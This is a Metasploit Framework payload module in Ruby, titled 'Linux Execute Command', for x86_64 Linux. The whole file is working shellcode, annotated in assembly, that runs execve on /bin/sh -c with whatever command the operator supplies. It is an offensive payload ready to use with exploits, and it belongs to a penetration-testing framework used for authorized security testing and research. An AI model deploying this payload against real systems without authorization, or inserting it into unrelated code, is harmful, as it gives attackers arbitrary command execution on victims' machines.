##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'

module Metasploit3
	include Msf::Payload::Single
	include Msf::Payload::Linux

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Linux Execute Command',
			'Description'   => 'Execute an arbitrary command',
			'Author'        => 'ricky',
			'License'       => MSF_LICENSE,
			'Platform'      => 'linux',
			'Arch'          => ARCH_X86_64))

		register_options(
			[
				OptString.new('CMD',  [ true,  "The command string to execute" ]),
			], self.class)
	end

	def generate_stage
		cmd = (datastore['CMD'] || '') << "\x00"
		call = "\xe8" + [cmd.length].pack('V')
		payload =
			"\x6a\x3b"                     + # pushq  $0x3b
			"\x58"                         + # pop    %rax
			"\x99"                         + # cltd
			"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
			"\x73\x68\x00"                 + #
			"\x53"                         + # push   %rbx
			"\x48\x89\xe7"                 + # mov    %rsp,%rdi
			"\x68\x2d\x63\x00\x00"         + # pushq  $0x632d
			"\x48\x89\xe6"                 + # mov    %rsp,%rsi
			"\x52"                         + # push   %rdx
			call                           + # callq  2d <run>
			cmd                            + # .ascii "cmd\0"
			"\x56"                         + # push   %rsi
			"\x57"                         + # push   %rdi
			"\x48\x89\xe6"                 + # mov    %rsp,%rsi
			"\x0f\x05"                       # syscall
	end
end
